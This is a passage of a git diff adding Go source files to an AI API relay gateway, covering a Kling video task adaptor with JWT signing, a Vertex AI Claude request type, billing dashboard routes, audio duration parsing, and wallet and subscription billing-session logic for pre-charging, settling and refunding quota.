+		taskErr = service.TaskErrorWrapper(err, "read_response_body_failed", http.StatusInternalServerError)
+		return
+	}
+
+	var kResp responsePayload
+	err = common.Unmarshal(responseBody, &kResp)
+	if err != nil {
+		taskErr = service.TaskErrorWrapper(err, "unmarshal_response_failed", http.StatusInternalServerError)
+		return
+	}
+	if kResp.Code != 0 {
+		taskErr = service.TaskErrorWrapperLocal(fmt.Errorf("%s", kResp.Message), "task_failed", http.StatusBadRequest)
+		return
+	}
+	ov := dto.NewOpenAIVideo()
+	ov.ID = info.PublicTaskID
+	ov.TaskID = info.PublicTaskID
+	ov.CreatedAt = time.Now().Unix()
+	ov.Model = info.OriginModelName
+	c.JSON(http.StatusOK, ov)
+	return kResp.Data.TaskId, responseBody, nil
+}
+
+// FetchTask fetch task status
+func (a *TaskAdaptor) FetchTask(baseUrl, key string, body map[string]any, proxy string) (*http.Response, error) {
+	taskID, ok := body["task_id"].(string)
+	if !ok {
+		return nil, fmt.Errorf("invalid task_id")
+	}
+	action, ok := body["action"].(string)
+	if !ok {
+		return nil, fmt.Errorf("invalid action")
+	}
+	path := lo.Ternary(action == constant.TaskActionGenerate, "/v1/videos/image2video", "/v1/videos/text2video")
+	url := fmt.Sprintf("%s%s/%s", baseUrl, path, taskID)
+	if isNewAPIRelay(key) {
+		url = fmt.Sprintf("%s/kling%s/%s", baseUrl, path, taskID)
+	}
+
+	req, err := http.NewRequest(http.MethodGet, url, nil)
+	if err != nil {
+		return nil, err
+	}
+
+	token, err := a.createJWTTokenWithKey(key)
+	if err != nil {
+		token = key
+	}
+
+	req.Header.Set("Accept", "application/json")
+	req.Header.Set("Authorization", "Bearer "+token)
+	req.Header.Set("User-Agent", "kling-sdk/1.0")
+
+	client, err := service.GetHttpClientWithProxy(proxy)
+	if err != nil {
+		return nil, fmt.Errorf("new proxy http client failed: %w", err)
+	}
+	return client.Do(req)
+}
+
+func (a *TaskAdaptor) GetModelList() []string {
+	return []string{"kling-v1", "kling-v1-6", "kling-v2-master"}
+}
+
+func (a *TaskAdaptor) GetChannelName() string {
+	return "kling"
+}
+
+// ============================
+// helpers
+// ============================
+
+func (a *TaskAdaptor) convertToRequestPayload(req *relaycommon.TaskSubmitReq, info *relaycommon.RelayInfo) (*requestPayload, error) {
+	r := requestPayload{
+		Prompt:         req.Prompt,
+		Image:          req.Image,
+		Mode:           taskcommon.DefaultString(req.Mode, "std"),
+		Duration:       fmt.Sprintf("%d", taskcommon.DefaultInt(req.Duration, 5)),
+		AspectRatio:    a.getAspectRatio(req.Size),
+		ModelName:      info.UpstreamModelName,
+		Model:          info.UpstreamModelName,
+		CfgScale:       0.5,
+		StaticMask:     "",
+		DynamicMasks:   []DynamicMask{},
+		CameraControl:  nil,
+		CallbackUrl:    "",
+		ExternalTaskId: "",
+	}
+	if r.ModelName == "" {
+		r.ModelName = "kling-v1"
+		r.Model = "kling-v1"
+	}
+	if err := taskcommon.UnmarshalMetadata(req.Metadata, &r); err != nil {
+		return nil, errors.Wrap(err, "unmarshal metadata failed")
+	}
+	return &r, nil
+}
+
+func (a *TaskAdaptor) getAspectRatio(size string) string {
+	switch size {
+	case "1024x1024", "512x512":
+		return "1:1"
+	case "1280x720", "1920x1080":
+		return "16:9"
+	case "720x1280", "1080x1920":
+		return "9:16"
+	default:
+		return "1:1"
+	}
+}
+
+// ============================
+// JWT helpers
+// ============================
+
+func (a *TaskAdaptor) createJWTToken() (string, error) {
+	return a.createJWTTokenWithKey(a.apiKey)
+}
+
+func (a *TaskAdaptor) createJWTTokenWithKey(apiKey string) (string, error) {
+	if isNewAPIRelay(apiKey) {
+		return apiKey, nil // new api relay
+	}
+	keyParts := strings.Split(apiKey, "|")
+	if len(keyParts) != 2 {
+		return "", errors.New("invalid api_key, required format is accessKey|secretKey")
+	}
+	accessKey := strings.TrimSpace(keyParts[0])
+	if len(keyParts) == 1 {
+		return accessKey, nil
+	}
+	secretKey := strings.TrimSpace(keyParts[1])
+	now := time.Now().Unix()
+	claims := jwt.MapClaims{
+		"iss": accessKey,
+		"exp": now + 1800, // 30 minutes
+		"nbf": now - 5,
+	}
+	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
+	token.Header["typ"] = "JWT"
+	return token.SignedString([]byte(secretKey))
+}
+
+func (a *TaskAdaptor) ParseTaskResult(respBody []byte) (*relaycommon.TaskInfo, error) {
+	taskInfo := &relaycommon.TaskInfo{}
+	resPayload := responsePayload{}
+	err := common.Unmarshal(respBody, &resPayload)
+	if err != nil {
+		return nil, errors.Wrap(err, "failed to unmarshal response body")
+	}
+	taskInfo.Code = resPayload.Code
+	taskInfo.TaskID = resPayload.Data.TaskId
+	taskInfo.Reason = resPayload.Data.TaskStatusMsg
+	//任务状态，枚举值：submitted（已提交）、processing（处理中）、succeed（成功）、failed（失败）
+	status := resPayload.Data.TaskStatus
+	switch status {
+	case "submitted":
+		taskInfo.Status = model.TaskStatusSubmitted
+	case "processing":
+		taskInfo.Status = model.TaskStatusInProgress
+	case "succeed":
+		taskInfo.Status = model.TaskStatusSuccess
+		if videos := resPayload.Data.TaskResult.Videos; len(videos) > 0 {
+			video := videos[0]
+			taskInfo.Url = video.Url
+		}
+		if tokens, err := strconv.ParseFloat(resPayload.Data.FinalUnitDeduction, 64); err == nil {
+			rounded := int(math.Ceil(tokens))
+			if rounded > 0 {
+				taskInfo.CompletionTokens = rounded
+				taskInfo.TotalTokens = rounded
+			}
+		}
+	case "failed":
+		taskInfo.Status = model.TaskStatusFailure
+	default:
+		return nil, fmt.Errorf("unknown task status: %s", status)
+	}
+	return taskInfo, nil
+}
+
+func isNewAPIRelay(apiKey string) bool {
+	return strings.HasPrefix(apiKey, "sk-")
+}
+
+func (a *TaskAdaptor) ConvertToOpenAIVideo(originTask *model.Task) ([]byte, error) {
+	var klingResp responsePayload
+	if err := common.Unmarshal(originTask.Data, &klingResp); err != nil {
+		return nil, errors.Wrap(err, "unmarshal kling task data failed")
+	}
+
+	openAIVideo := dto.NewOpenAIVideo()
+	openAIVideo.ID = originTask.TaskID
+	openAIVideo.Status = originTask.Status.ToVideoStatus()
+	openAIVideo.SetProgressStr(originTask.Progress)
+	openAIVideo.CreatedAt = klingResp.Data.CreatedAt
+	openAIVideo.CompletedAt = klingResp.Data.UpdatedAt
+
+	if len(klingResp.Data.TaskResult.Videos) > 0 {
+		video := klingResp.Data.TaskResult.Videos[0]
+		if video.Url != "" {
+			openAIVideo.SetMetadata("url", video.Url)
+		}
+		if video.Duration != "" {
+			openAIVideo.Seconds = video.Duration
+		}
+	}
+
+	if klingResp.Code != 0 && klingResp.Message != "" {
+		openAIVideo.Error = &dto.OpenAIVideoError{
+			Message: klingResp.Message,
+			Code:    fmt.Sprintf("%d", klingResp.Code),
+		}
+	}
+
+	// https://app.klingai.com/cn/dev/document-api/apiReference/model/textToVideo
+	if data := klingResp.Data; data.TaskStatus == "failed" {
+		openAIVideo.Error = &dto.OpenAIVideoError{
+			Message: data.TaskStatusMsg,
+		}
+	}
+	return common.Marshal(openAIVideo)
+}
diff --git a/new-api/relay/channel/vertex/dto.go b/new-api/relay/channel/vertex/dto.go
new file mode 100644
index 0000000..c1d13a6
--- /dev/null
+++ b/new-api/relay/channel/vertex/dto.go
@@ -0,0 +1,42 @@
+package vertex
+
+import (
+	"encoding/json"
+
+	"github.com/QuantumNous/new-api/dto"
+)
+
+type VertexAIClaudeRequest struct {
+	AnthropicVersion string              `json:"anthropic_version"`
+	Messages         []dto.ClaudeMessage `json:"messages"`
+	System           any                 `json:"system,omitempty"`
+	MaxTokens        *uint               `json:"max_tokens,omitempty"`
+	StopSequences    []string            `json:"stop_sequences,omitempty"`
+	Stream           *bool               `json:"stream,omitempty"`
+	Temperature      *float64            `json:"temperature,omitempty"`
+	TopP             *float64            `json:"top_p,omitempty"`
+	TopK             *int                `json:"top_k,omitempty"`
+	Tools            any                 `json:"tools,omitempty"`
+	ToolChoice       any                 `json:"tool_choice,omitempty"`
+	Thinking         *dto.Thinking       `json:"thinking,omitempty"`
+	OutputConfig     json.RawMessage     `json:"output_config,omitempty"`
+	//Metadata         json.RawMessage     `json:"metadata,omitempty"`
+}
+
+func copyRequest(req *dto.ClaudeRequest, version string) *VertexAIClaudeRequest {
+	return &VertexAIClaudeRequest{
+		AnthropicVersion: version,
+		System:           req.System,
+		Messages:         req.Messages,
+		MaxTokens:        req.MaxTokens,
+		Stream:           req.Stream,
+		Temperature:      req.Temperature,
+		TopP:             req.TopP,
+		TopK:             req.TopK,
+		StopSequences:    req.StopSequences,
+		Tools:            req.Tools,
+		ToolChoice:       req.ToolChoice,
+		Thinking:         req.Thinking,
+		OutputConfig:     req.OutputConfig,
+	}
+}
diff --git a/new-api/router/dashboard.go b/new-api/router/dashboard.go
new file mode 100644
index 0000000..2e48615
--- /dev/null
+++ b/new-api/router/dashboard.go
@@ -0,0 +1,23 @@
+package router
+
+import (
+	"github.com/QuantumNous/new-api/controller"
+	"github.com/QuantumNous/new-api/middleware"
+	"github.com/gin-contrib/gzip"
+	"github.com/gin-gonic/gin"
+)
+
+func SetDashboardRouter(router *gin.Engine) {
+	apiRouter := router.Group("/")
+	apiRouter.Use(middleware.RouteTag("old_api"))
+	apiRouter.Use(gzip.Gzip(gzip.DefaultCompression))
+	apiRouter.Use(middleware.GlobalAPIRateLimit())
+	apiRouter.Use(middleware.CORS())
+	apiRouter.Use(middleware.TokenAuth())
+	{
+		apiRouter.GET("/dashboard/billing/subscription", controller.GetSubscription)
+		apiRouter.GET("/v1/dashboard/billing/subscription", controller.GetSubscription)
+		apiRouter.GET("/dashboard/billing/usage", controller.GetUsage)
+		apiRouter.GET("/v1/dashboard/billing/usage", controller.GetUsage)
+	}
+}
diff --git a/new-api/service/audio.go b/new-api/service/audio.go
new file mode 100644
index 0000000..c4b6f01
--- /dev/null
+++ b/new-api/service/audio.go
@@ -0,0 +1,48 @@
+package service
+
+import (
+	"encoding/base64"
+	"fmt"
+	"strings"
+)
+
+func parseAudio(audioBase64 string, format string) (duration float64, err error) {
+	audioData, err := base64.StdEncoding.DecodeString(audioBase64)
+	if err != nil {
+		return 0, fmt.Errorf("base64 decode error: %v", err)
+	}
+
+	var samplesCount int
+	var sampleRate int
+
+	switch format {
+	case "pcm16":
+		samplesCount = len(audioData) / 2 // 16位 = 2字节每样本
+		sampleRate = 24000                // 24kHz
+	case "g711_ulaw", "g711_alaw":
+		samplesCount = len(audioData) // 8位 = 1字节每样本
+		sampleRate = 8000             // 8kHz
+	default:
+		samplesCount = len(audioData) // 8位 = 1字节每样本
+		sampleRate = 8000             // 8kHz
+	}
+
+	duration = float64(samplesCount) / float64(sampleRate)
+	return duration, nil
+}
+
+func DecodeBase64AudioData(audioBase64 string) (string, error) {
+	// 检查并移除 data:audio/xxx;base64, 前缀
+	idx := strings.Index(audioBase64, ",")
+	if idx != -1 {
+		audioBase64 = audioBase64[idx+1:]
+	}
+
+	// 解码 Base64 数据
+	_, err := base64.StdEncoding.DecodeString(audioBase64)
+	if err != nil {
+		return "", fmt.Errorf("base64 decode error: %v", err)
+	}
+
+	return audioBase64, nil
+}
diff --git a/new-api/service/billing.go b/new-api/service/billing.go
new file mode 100644
index 0000000..81daeed
--- /dev/null
+++ b/new-api/service/billing.go
@@ -0,0 +1,78 @@
+package service
+
+import (
+	"fmt"
+
+	"github.com/QuantumNous/new-api/logger"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/types"
+	"github.com/gin-gonic/gin"
+)
+
+const (
+	BillingSourceWallet       = "wallet"
+	BillingSourceSubscription = "subscription"
+)
+
+// PreConsumeBilling 根据用户计费偏好创建 BillingSession 并执行预扣费。
+// 会话存储在 relayInfo.Billing 上，供后续 Settle / Refund 使用。
+func PreConsumeBilling(c *gin.Context, preConsumedQuota int, relayInfo *relaycommon.RelayInfo) *types.NewAPIError {
+	session, apiErr := NewBillingSession(c, relayInfo, preConsumedQuota)
+	if apiErr != nil {
+		return apiErr
+	}
+	relayInfo.Billing = session
+	return nil
+}
+
+// ---------------------------------------------------------------------------
+// SettleBilling — 后结算辅助函数
+// ---------------------------------------------------------------------------
+
+// SettleBilling 执行计费结算。如果 RelayInfo 上有 BillingSession 则通过 session 结算，
+// 否则回退到旧的 PostConsumeQuota 路径（兼容按次计费等场景）。
+func SettleBilling(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, actualQuota int) error {
+	if relayInfo.Billing != nil {
+		preConsumed := relayInfo.Billing.GetPreConsumedQuota()
+		delta := actualQuota - preConsumed
+
+		if delta > 0 {
+			logger.LogInfo(ctx, fmt.Sprintf("预扣费后补扣费：%s（实际消耗：%s，预扣费：%s）",
+				logger.FormatQuota(delta),
+				logger.FormatQuota(actualQuota),
+				logger.FormatQuota(preConsumed),
+			))
+		} else if delta < 0 {
+			logger.LogInfo(ctx, fmt.Sprintf("预扣费后返还扣费：%s（实际消耗：%s，预扣费：%s）",
+				logger.FormatQuota(-delta),
+				logger.FormatQuota(actualQuota),
+				logger.FormatQuota(preConsumed),
+			))
+		} else {
+			logger.LogInfo(ctx, fmt.Sprintf("预扣费与实际消耗一致，无需调整：%s（按次计费）",
+				logger.FormatQuota(actualQuota),
+			))
+		}
+
+		if err := relayInfo.Billing.Settle(actualQuota); err != nil {
+			return err
+		}
+
+		// 发送额度通知（订阅计费使用订阅剩余额度）
+		if actualQuota != 0 {
+			if relayInfo.BillingSource == BillingSourceSubscription {
+				checkAndSendSubscriptionQuotaNotify(relayInfo)
+			} else {
+				checkAndSendQuotaNotify(relayInfo, actualQuota-preConsumed, preConsumed)
+			}
+		}
+		return nil
+	}
+
+	// 回退：无 BillingSession 时使用旧路径
+	quotaDelta := actualQuota - relayInfo.FinalPreConsumedQuota
+	if quotaDelta != 0 {
+		return PostConsumeQuota(relayInfo, quotaDelta, relayInfo.FinalPreConsumedQuota, true)
+	}
+	return nil
+}
diff --git a/new-api/service/billing_session.go b/new-api/service/billing_session.go
new file mode 100644
index 0000000..4761f7a
--- /dev/null
+++ b/new-api/service/billing_session.go
@@ -0,0 +1,434 @@
+package service
+
+import (
+	"fmt"
+	"net/http"
+	"strings"
+	"sync"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/bytedance/gopkg/util/gopool"
+	"github.com/gin-gonic/gin"
+)
+
+// ---------------------------------------------------------------------------
+// BillingSession — 统一计费会话
+// ---------------------------------------------------------------------------
+
+// BillingSession 封装单次请求的预扣费/结算/退款生命周期。
+// 实现 relaycommon.BillingSettler 接口。
+type BillingSession struct {
+	relayInfo        *relaycommon.RelayInfo
+	funding          FundingSource
+	preConsumedQuota int  // 实际预扣额度（信任用户可能为 0）
+	tokenConsumed    int  // 令牌额度实际扣减量
+	extraReserved    int  // 发送前补充预扣的额度（订阅退款时需要单独回滚）
+	trusted          bool // 是否命中信任额度旁路
+	fundingSettled   bool // funding.Settle 已成功，资金来源已提交
+	settled          bool // Settle 全部完成（资金 + 令牌）
+	refunded         bool // Refund 已调用
+	mu               sync.Mutex
+}
+
+// Settle 根据实际消耗额度进行结算。
+// 资金来源和令牌额度分两步提交：若资金来源已提交但令牌调整失败，
+// 会标记 fundingSettled 防止 Refund 对已提交的资金来源执行退款。
+func (s *BillingSession) Settle(actualQuota int) error {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	if s.settled {
+		return nil
+	}
+	delta := actualQuota - s.preConsumedQuota
+	if delta == 0 {
+		s.settled = true
+		return nil
+	}
+	// 1) 调整资金来源（仅在尚未提交时执行，防止重复调用）
+	if !s.fundingSettled {
+		if err := s.funding.Settle(delta); err != nil {
+			return err
+		}
+		s.fundingSettled = true
+	}
+	// 2) 调整令牌额度
+	var tokenErr error
+	if !s.relayInfo.IsPlayground {
+		if delta > 0 {
+			tokenErr = model.DecreaseTokenQuota(s.relayInfo.TokenId, s.relayInfo.TokenKey, delta)
+		} else {
+			tokenErr = model.IncreaseTokenQuota(s.relayInfo.TokenId, s.relayInfo.TokenKey, -delta)
+		}
+		if tokenErr != nil {
+			// 资金来源已提交，令牌调整失败只能记录日志；标记 settled 防止 Refund 误退资金
+			common.SysLog(fmt.Sprintf("error adjusting token quota after funding settled (userId=%d, tokenId=%d, delta=%d): %s",
+				s.relayInfo.UserId, s.relayInfo.TokenId, delta, tokenErr.Error()))
+		}
+	}
+	// 3) 更新 relayInfo 上的订阅 PostDelta（用于日志）
+	if s.funding.Source() == BillingSourceSubscription {
+		s.relayInfo.SubscriptionPostDelta += int64(delta)
+	}
+	s.settled = true
+	return tokenErr
+}
+
+// Refund 退还所有预扣费，幂等安全，异步执行。
+func (s *BillingSession) Refund(c *gin.Context) {
+	s.mu.Lock()
+	if s.settled || s.refunded || !s.needsRefundLocked() {
+		s.mu.Unlock()
+		return
+	}
+	s.refunded = true
+	s.mu.Unlock()
+
+	logger.LogInfo(c, fmt.Sprintf("用户 %d 请求失败, 返还预扣费（token_quota=%s, funding=%s）",
+		s.relayInfo.UserId,
+		logger.FormatQuota(s.tokenConsumed),
+		s.funding.Source(),
+	))
+
+	// 复制需要的值到闭包中
+	tokenId := s.relayInfo.TokenId
+	tokenKey := s.relayInfo.TokenKey
+	isPlayground := s.relayInfo.IsPlayground
+	tokenConsumed := s.tokenConsumed
+	extraReserved := s.extraReserved
+	subscriptionId := s.relayInfo.SubscriptionId
+	funding := s.funding
+
+	gopool.Go(func() {
+		// 1) 退还资金来源
+		if err := funding.Refund(); err != nil {
+			common.SysLog("error refunding billing source: " + err.Error())
+		}
+		if extraReserved > 0 && funding.Source() == BillingSourceSubscription && subscriptionId > 0 {
+			if err := model.PostConsumeUserSubscriptionDelta(subscriptionId, -int64(extraReserved)); err != nil {
+				common.SysLog("error refunding subscription extra reserved quota: " + err.Error())
+			}
+		}
+		// 2) 退还令牌额度
+		if tokenConsumed > 0 && !isPlayground {
+			if err := model.IncreaseTokenQuota(tokenId, tokenKey, tokenConsumed); err != nil {
+				common.SysLog("error refunding token quota: " + err.Error())
+			}
+		}
+	})
+}
+
+// NeedsRefund 返回是否存在需要退还的预扣状态。
+func (s *BillingSession) NeedsRefund() bool {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	return s.needsRefundLocked()
+}
+
+func (s *BillingSession) needsRefundLocked() bool {
+	if s.settled || s.refunded || s.fundingSettled {
+		// fundingSettled 时资金来源已提交结算，不能再退预扣费
+		return false
+	}
+	if s.tokenConsumed > 0 {
+		return true
+	}
+	// 订阅可能在 tokenConsumed=0 时仍预扣了额度
+	if sub, ok := s.funding.(*SubscriptionFunding); ok && sub.preConsumed > 0 {
+		return true
+	}
+	return false
+}
+
+// GetPreConsumedQuota 返回实际预扣的额度。
+func (s *BillingSession) GetPreConsumedQuota() int {
+	return s.preConsumedQuota
+}
+
+func (s *BillingSession) Reserve(targetQuota int) error {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	if s.settled || s.refunded || s.trusted || targetQuota <= s.preConsumedQuota {
+		return nil
+	}
+
+	delta := targetQuota - s.preConsumedQuota
+	if delta <= 0 {
+		return nil
+	}
+
+	if err := s.reserveFunding(delta); err != nil {
+		return err
+	}
+	if err := s.reserveToken(delta); err != nil {
+		s.rollbackFundingReserve(delta)
+		return err
+	}
+
+	s.preConsumedQuota += delta
+	s.tokenConsumed += delta
+	s.extraReserved += delta
+	s.syncRelayInfo()
+	return nil
+}
+
+// ---------------------------------------------------------------------------
+// PreConsume — 统一预扣费入口（含信任额度旁路）
+// ---------------------------------------------------------------------------
+
+// preConsume 执行预扣费：信任检查 -> 令牌预扣 -> 资金来源预扣。
+// 任一步骤失败时原子回滚已完成的步骤。
+func (s *BillingSession) preConsume(c *gin.Context, quota int) *types.NewAPIError {
+	effectiveQuota := quota
+
+	// ---- 信任额度旁路 ----
+	if s.shouldTrust(c) {
+		s.trusted = true
+		effectiveQuota = 0
+		logger.LogInfo(c, fmt.Sprintf("用户 %d 额度充足, 信任且不需要预扣费 (funding=%s)", s.relayInfo.UserId, s.funding.Source()))
+	} else if effectiveQuota > 0 {
+		logger.LogInfo(c, fmt.Sprintf("用户 %d 需要预扣费 %s (funding=%s)", s.relayInfo.UserId, logger.FormatQuota(effectiveQuota), s.funding.Source()))
+	}
+
+	// ---- 1) 预扣令牌额度 ----
+	if effectiveQuota > 0 {
+		if err := PreConsumeTokenQuota(s.relayInfo, effectiveQuota); err != nil {
+			return types.NewErrorWithStatusCode(err, types.ErrorCodePreConsumeTokenQuotaFailed, http.StatusForbidden, types.ErrOptionWithSkipRetry(), types.ErrOptionWithNoRecordErrorLog())
+		}
+		s.tokenConsumed = effectiveQuota
+	}
+
+	// ---- 2) 预扣资金来源 ----
+	if err := s.funding.PreConsume(effectiveQuota); err != nil {
+		// 预扣费失败，回滚令牌额度
+		if s.tokenConsumed > 0 && !s.relayInfo.IsPlayground {
+			if rollbackErr := model.IncreaseTokenQuota(s.relayInfo.TokenId, s.relayInfo.TokenKey, s.tokenConsumed); rollbackErr != nil {
+				common.SysLog(fmt.Sprintf("error rolling back token quota (userId=%d, tokenId=%d, amount=%d, fundingErr=%s): %s",
+					s.relayInfo.UserId, s.relayInfo.TokenId, s.tokenConsumed, err.Error(), rollbackErr.Error()))
+			}
+			s.tokenConsumed = 0
+		}
+		// TODO: model 层应定义哨兵错误（如 ErrNoActiveSubscription），用 errors.Is 替代字符串匹配
+		errMsg := err.Error()
+		if strings.Contains(errMsg, "no active subscription") || strings.Contains(errMsg, "subscription quota insufficient") {
+			return types.NewErrorWithStatusCode(fmt.Errorf("订阅额度不足或未配置订阅: %s", errMsg), types.ErrorCodeInsufficientUserQuota, http.StatusForbidden, types.ErrOptionWithSkipRetry(), types.ErrOptionWithNoRecordErrorLog())
+		}
+		return types.NewError(err, types.ErrorCodeUpdateDataError, types.ErrOptionWithSkipRetry())
+	}
+
+	s.preConsumedQuota = effectiveQuota
+
+	// ---- 同步 RelayInfo 兼容字段 ----
+	s.syncRelayInfo()
+
+	return nil
+}
+
+func (s *BillingSession) reserveFunding(delta int) error {
+	switch funding := s.funding.(type) {
+	case *WalletFunding:
+		if err := model.DecreaseUserQuota(funding.userId, delta, false); err != nil {
+			return types.NewError(err, types.ErrorCodeUpdateDataError, types.ErrOptionWithSkipRetry())
+		}
+		funding.consumed += delta
+		return nil
+	case *SubscriptionFunding:
+		if err := model.PostConsumeUserSubscriptionDelta(funding.subscriptionId, int64(delta)); err != nil {
+			return types.NewErrorWithStatusCode(
+				fmt.Errorf("订阅额度不足或未配置订阅: %s", err.Error()),
+				types.ErrorCodeInsufficientUserQuota,
+				http.StatusForbidden,
+				types.ErrOptionWithSkipRetry(),
+				types.ErrOptionWithNoRecordErrorLog(),
+			)
+		}
+		return nil
+	default:
+		return types.NewError(fmt.Errorf("unsupported funding source: %s", s.funding.Source()), types.ErrorCodeUpdateDataError, types.ErrOptionWithSkipRetry())
+	}
+}
+
+func (s *BillingSession) rollbackFundingReserve(delta int) {
+	switch funding := s.funding.(type) {
+	case *WalletFunding:
+		if err := model.IncreaseUserQuota(funding.userId, delta, false); err != nil {
+			common.SysLog("error rolling back wallet funding reserve: " + err.Error())
+		} else {
+			funding.consumed -= delta
+		}
+	case *SubscriptionFunding:
+		if err := model.PostConsumeUserSubscriptionDelta(funding.subscriptionId, -int64(delta)); err != nil {
+			common.SysLog("error rolling back subscription funding reserve: " + err.Error())
+		}
+	}
+}
+
+func (s *BillingSession) reserveToken(delta int) error {
+	if delta <= 0 || s.relayInfo.IsPlayground {
+		return nil
+	}
+	if err := PreConsumeTokenQuota(s.relayInfo, delta); err != nil {
+		return types.NewErrorWithStatusCode(err, types.ErrorCodePreConsumeTokenQuotaFailed, http.StatusForbidden, types.ErrOptionWithSkipRetry(), types.ErrOptionWithNoRecordErrorLog())
+	}
+	return nil
+}
+
+// shouldTrust 统一信任额度检查，适用于钱包和订阅。
+func (s *BillingSession) shouldTrust(c *gin.Context) bool {
+	// 异步任务（ForcePreConsume=true）必须预扣全额，不允许信任旁路
+	if s.relayInfo.ForcePreConsume {
+		return false
+	}
+
+	trustQuota := common.GetTrustQuota()
+	if trustQuota <= 0 {
+		return false
+	}
+
+	// 检查令牌是否充足
+	tokenTrusted := s.relayInfo.TokenUnlimited
+	if !tokenTrusted {
+		tokenQuota := c.GetInt("token_quota")
+		tokenTrusted = tokenQuota > trustQuota
+	}
+	if !tokenTrusted {
+		return false
+	}
+
+	switch s.funding.Source() {
+	case BillingSourceWallet:
+		return s.relayInfo.UserQuota > trustQuota
+	case BillingSourceSubscription:
+		// 订阅不能启用信任旁路。原因：
+		// 1. PreConsumeUserSubscription 要求 amount>0 来创建预扣记录并锁定订阅
+		// 2. SubscriptionFunding.PreConsume 忽略参数，始终用 s.amount 预扣
+		// 3. 若信任旁路将 effectiveQuota 设为 0，会导致 preConsumedQuota 与实际订阅预扣不一致
+		return false
+	default:
+		return false
+	}
+}
+
+// syncRelayInfo 将 BillingSession 的状态同步到 RelayInfo 的兼容字段上。
+func (s *BillingSession) syncRelayInfo() {
+	info := s.relayInfo
+	info.FinalPreConsumedQuota = s.preConsumedQuota
+	info.BillingSource = s.funding.Source()
+
+	if sub, ok := s.funding.(*SubscriptionFunding); ok {
+		info.SubscriptionId = sub.subscriptionId
+		info.SubscriptionPreConsumed = sub.preConsumed + int64(s.extraReserved)
+		info.SubscriptionPostDelta = 0
+		info.SubscriptionAmountTotal = sub.AmountTotal
+		info.SubscriptionAmountUsedAfterPreConsume = sub.AmountUsedAfter + int64(s.extraReserved)
+		info.SubscriptionPlanId = sub.PlanId
+		info.SubscriptionPlanTitle = sub.PlanTitle
+	} else {
+		info.SubscriptionId = 0
+		info.SubscriptionPreConsumed = 0
+	}
+}
+
+// ---------------------------------------------------------------------------
+// NewBillingSession 工厂 — 根据计费偏好创建会话并处理回退
+// ---------------------------------------------------------------------------
+
+// NewBillingSession 根据用户计费偏好创建 BillingSession，处理 subscription_first / wallet_first 的回退。
+func NewBillingSession(c *gin.Context, relayInfo *relaycommon.RelayInfo, preConsumedQuota int) (*BillingSession, *types.NewAPIError) {
+	if relayInfo == nil {
+		return nil, types.NewError(fmt.Errorf("relayInfo is nil"), types.ErrorCodeInvalidRequest, types.ErrOptionWithSkipRetry())
+	}
+
+	pref := common.NormalizeBillingPreference(relayInfo.UserSetting.BillingPreference)
+
+	// 钱包路径需要先检查用户额度
+	tryWallet := func() (*BillingSession, *types.NewAPIError) {
+		userQuota, err := model.GetUserQuota(relayInfo.UserId, false)
+		if err != nil {
+			return nil, types.NewError(err, types.ErrorCodeQueryDataError, types.ErrOptionWithSkipRetry())
+		}
+		if userQuota <= 0 {
+			return nil, types.NewErrorWithStatusCode(
+				fmt.Errorf("用户额度不足, 剩余额度: %s", logger.FormatQuota(userQuota)),
+				types.ErrorCodeInsufficientUserQuota, http.StatusForbidden,
+				types.ErrOptionWithSkipRetry(), types.ErrOptionWithNoRecordErrorLog())
+		}
+		if userQuota-preConsumedQuota < 0 {
+			return nil, types.NewErrorWithStatusCode(
+				fmt.Errorf("预扣费额度失败, 用户剩余额度: %s, 需要预扣费额度: %s", logger.FormatQuota(userQuota), logger.FormatQuota(preConsumedQuota)),
+				types.ErrorCodeInsufficientUserQuota, http.StatusForbidden,
+				types.ErrOptionWithSkipRetry(), types.ErrOptionWithNoRecordErrorLog())
+		}
+		relayInfo.UserQuota = userQuota
+
+		session := &BillingSession{
+			relayInfo: relayInfo,
+			funding:   &WalletFunding{userId: relayInfo.UserId},
+		}
+		if apiErr := session.preConsume(c, preConsumedQuota); apiErr != nil {
+			return nil, apiErr
+		}
+		return session, nil
+	}
+
+	trySubscription := func() (*BillingSession, *types.NewAPIError) {
+		subConsume := int64(preConsumedQuota)
+		if subConsume <= 0 {
+			subConsume = 1
+		}
+		session := &BillingSession{
+			relayInfo: relayInfo,
+			funding: &SubscriptionFunding{
+				requestId: relayInfo.RequestId,
+				userId:    relayInfo.UserId,
+				modelName: relayInfo.OriginModelName,
+				amount:    subConsume,
+			},
+		}
+		// 必须传 subConsume 而非 preConsumedQuota，保证 SubscriptionFunding.amount、
+		// preConsume 参数和 FinalPreConsumedQuota 三者一致，避免订阅多扣费。
+		if apiErr := session.preConsume(c, int(subConsume)); apiErr != nil {
+			return nil, apiErr
+		}
+		return session, nil
+	}
+
+	switch pref {
+	case "subscription_only":
+		return trySubscription()
+	case "wallet_only":
+		return tryWallet()
+	case "wallet_first":
+		session, err := tryWallet()
+		if err != nil {
+			if err.GetErrorCode() == types.ErrorCodeInsufficientUserQuota {
+				return trySubscription()
+			}
+			return nil, err
+		}
+		return session, nil
+	case "subscription_first":
+		fallthrough
+	default:
+		hasSub, subCheckErr := model.HasActiveUserSubscription(relayInfo.UserId)
+		if subCheckErr != nil {
+			return nil, types.NewError(subCheckErr, types.ErrorCodeQueryDataError, types.ErrOptionWithSkipRetry())
+		}
+		if !hasSub {
+			return tryWallet()
+		}
+		session, apiErr := trySubscription()
+		if apiErr != nil {
+			if apiErr.GetErrorCode() == types.ErrorCodeInsufficientUserQuota {
+				return tryWallet()
+			}
+			return nil, apiErr
+		}
+		return session, nil
+	}
+}
diff --git a/new-api/service/channel.go b/new-api/service/channel.go
new file mode 100644
index 0000000..3fde6e2
--- /dev/null
+++ b/new-api/service/channel.go
@@ -0,0 +1,78 @@
+package service
+
+import (
+	"fmt"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/setting/operation_setting"
